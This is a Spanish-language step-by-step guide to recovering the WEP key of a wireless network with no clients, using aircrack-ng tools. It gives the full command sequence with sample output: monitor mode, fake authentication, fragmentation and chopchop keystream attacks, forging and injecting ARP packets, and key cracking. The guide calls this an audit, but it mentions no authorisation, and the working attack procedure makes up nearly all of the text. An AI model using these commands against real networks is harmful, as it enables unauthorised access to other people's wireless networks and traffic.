Obtener la clave WEP de una red inalámbrica sin clientes

Introducción

Existe mucha teoría y mucha información acerca de cómo extraer la clave WEP de una red inalámbrica en Internet. Más concretamente podría decirse que cada texto y cada guía que se puede encontrar viene a ser un resumen o adaptación de la documentación que puede encontrarse en el sitio oficial de aircrack[1].

La intención de esta guía será mostrar los pasos concretos para obtener la clave WEP de una red en la que no existen clientes inyectando para ello el tráfico necesario. La guía se puede seguir al pie de la letra para una tarjeta PCMCIA con chip *Atheros Super-G*. usando el driver *ath5k* con kernel *2.6.27* o superior. Otros drivers no serán contemplados en esta guía aunque podrá servir con pequeñas adaptaciones.

No es la intención de esta guía explicar los parámetros de los programas usados ni el por qué de los mismos. Todo eso y más se puede encontrar en la documentación de aircrack.

Procedimiento

Deshabilitar NetworkManager

En las últimas distribuciones de GNU/Linux se encuentra activo el proceso Network Manager que interfiere en el proceso de auditoría. Lo primero que se hará es desactivarlo:

```
sudo /etc/init.d/NetworkManager stop
```

Poner la tarjeta en modo monitor

Con la siguiente orden se pondrá la tarjeta en modo monitor:

```
sudo airmon-ng start wlan2
```

El sistema responderá algo similar a:

```
Interface     Chipset        Driver

eth1                  Intel 2200BG   ipw2200
wlan2                 Atheros                ath5k - [phy0]
                                             (monitor mode enabled on mon0)
```

Esto indica que la tarjeta Atheros en la interfaz wlan2 se ha puesto en modo monitor en una nueva interfaz mon0.

Examinar las redes presentes y empezar a capturar

Se examinarán las redes presentes mediante:

```
sudo airodump-ng mon0
```

Obteniendo algo similar a:

```
CH  5 ][ Elapsed: 24 s ][ 2009-05-09 19:44
```

1 http://www.aircrack-ng.org/

```
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
 00:12:17:DD:4C:07  -60       67        6    0   6  54   WEP  WEP         ratonera

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes
 (not associated)   00:0E:35:A2:24:3D  -62    0 - 1    131      210
```

De aquí se anotarán los siguientes datos:

```
AP MAC ADDRESS:       00:12:17:DD:4C:07
ESSID:                ratonera
CHANNEL:              6
```

Y se empezará a capturar aplicando esta configuración para filtrar la red que nos interesa:

```
sudo airodump-ng -c 6 --bssid 00:12:17:DD:4C:07 -w out mon0
```

Falsear autenticación con el punto de acceso

En un nuevo terminal se escribirá:

```
sudo aireplay-ng -1 60 -e ratonera -a 00:12:17:DD:4C:07 -h 00:18:e7:35:3e:ec mon0
```

Siendo 00:18:e7:35:3e:ec la MAC de la tarjeta de red usada. La consola responderá:

```
20:03:25  Waiting for beacon frame (BSSID: 00:12:17:DD:4C:07) on channel 6

20:03:25  Sending Authentication Request (Open System)
20:03:25  Authentication successful
20:03:25  Sending Association Request
20:03:25  Association successful :-) (AID: 1)
20:03:40  Sending keep-alive packet
```

Y se quedará ahí manteniendo la autenticación durante todo el proceso. Se continuará en un nuevo terminal.

Si hay algún problema con la autenticación se probará con:

```
sudo aireplay-ng -1 6000 -o 1 -q 10 -e ratonera -a 00:12:17:DD:4C:07 -h
00:18:e7:35:3e:ec mon0
```

Obtención del algoritmo de generación PRGA

Para probar el método de fragmentación, en un nuevo terminal se escribirá:

```
sudo aireplay-ng -5 -b  00:12:17:DD:4C:07 -h  00:18:e7:35:3e:ec mon0
```

El sistema responderá:

```
20:08:31  Waiting for beacon frame (BSSID: 00:12:17:DD:4C:07) on channel 6
20:08:31  Waiting for a data packet...


        Size: 78, FromDS: 1, ToDS: 0 (WEP)

              BSSID  =  00:12:17:DD:4C:07
         Dest. MAC  =  01:80:C2:00:00:00
        Source MAC  =  00:12:17:DD:4C:07

        0x0000:  0842 0000 0180 c200 0000 0012 17dd 4c07  .B............L.
        0x0010:  0012 17dd 4c07 505e 721a 0100 e4c1 b6e2  ....L.P^r.......
        0x0020:  c7bf 46fa ee94 ec34 1b66 6248 47e0 a995  ..F....4.fbHG...
        0x0030:  a9ac 95af 263e dd20 5e57 c4cb 2d18 a971  ....&>. ^W..-..q
        0x0040:  2855 8350 9b93 876b a632 68a0 7327       (U.P...k.2h.s'

Use this packet ? y
```

```
Saving chosen packet in replay_src-0509-200831.cap
20:08:33  Data packet found!
20:08:33  Sending fragmented packet
20:08:33  Got RELAYED packet!!
20:08:33  Trying to get 384 bytes of a keystream
20:08:33  Got RELAYED packet!!
20:08:33  Trying to get 1500 bytes of a keystream
20:08:33  Got RELAYED packet!!
Saving keystream in fragment-0509-200833.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
```

Si el ataque por fragmentación no tiene éxito se probará la técnica chopchop:

```
sudo aireplay-ng -4 -b 00:12:17:DD:4C:07 -h 00:18:e7:35:3e:ec mon0
```

Crear un paquete arp

Con ayuda de packetforge-ng se creará un paquete arp usando el fichero generado en el paso anterior:

```
packetforge-ng -0 -a 00:12:17:DD:4C:07 -h 00:18:e7:35:3e:ec -k 255.255.255.255 -l
255.255.255.255 -y fragment-0509-200833.xor -w arp-request
```

El sistema responderá:

```
Wrote packet to: arp-request
```

Inyectar el paquete arp

Finalmente se inyectará el paquete arp mediante:

```
sudo aireplay-ng -2 -r arp-request mon0
```

El sistema responderá:

```
No source MAC (-h) specified. Using the device MAC (00:18:E7:35:3E:EC)


        Size: 68, FromDS: 0, ToDS: 1 (WEP)

              BSSID  =  00:12:17:DD:4C:07
          Dest. MAC  =  FF:FF:FF:FF:FF:FF
         Source MAC  =  00:18:E7:35:3E:EC

        0x0000:  0841 0201 0012 17dd 4c07 0018 e735 3eec  .A......L....5>.
        0x0010:  ffff ffff ffff 8001 751a 0100 99cd a966  ........u......f
        0x0020:  6a26 7c41 ef97 6106 a332 3d2b 0a68 6c1b  j&|A..a..2=+.hl.
        0x0030:  7339 0e46 6737 bece 3221 d662 aedb 055c  s9.Fg7..2!.b...\
        0x0040:  d179 80b2                                .y..

Use this packet ? y

Saving chosen packet in replay_src-0509-201556.cap
You should also start airodump-ng to capture replies.

Sent 7656 packets...(499 pps)
```

En este momento los paquetes de datos capturados deberán de crecer a razón de unos 500 paquetes por segundo, como se indique entre paréntesis, y el número de paquetes de datos capturados deberá de coincidir aproximadamente con los paquetes enviados. De ser así, al llegar a 20.000 paquetes se podrá pasar al siguiente punto.

Obtener la clave WEP

En una consola nueva, sin detener los procesos anteriores se escribirá:

```
aircrack-ng -b 00:12:17:DD:4C:07 -n 128 out-01.cap
```

Si no aparece la clave en menos de 10 segundos se detendrá con Ctrl+C y se probará cuando haya al menos 40.000 paquetes de datos. En la pantalla aparecerá la siguiente información:

```
                                Aircrack-ng 1.0 rc3


                    [00:00:00] Tested 724 keys (got 57260 IVs)

  KB    depth   byte(vote)
   0    0/ 13   A7(76032) 30(68096) 08(66816) 84(66560) 13(66048) 70(65024)
   1    0/  1   34(80640) A2(68608) F6(66816) E1(66560) FF(65792) 92(65280)
   2    6/  2   E1(64768) 02(64000) 31(64000) 25(63744) 98(63744) BF(63744)
   3    0/  1   63(89856) C8(69376) 1B(66816) 5E(65792) 28(65280) B6(65024)
   4   45/  4   D6(61440) 1A(60928) 57(60928) D8(60928) DE(60928) 82(60672)

          KEY FOUND! [ 1A:57:97:7C:98:C9:64:C4:87:42:29:69:4C ]
     Decrypted correctly: 100%
```

Licencia

2 http://creativecommons.org/licenses/by-nc-nd/3.0/es/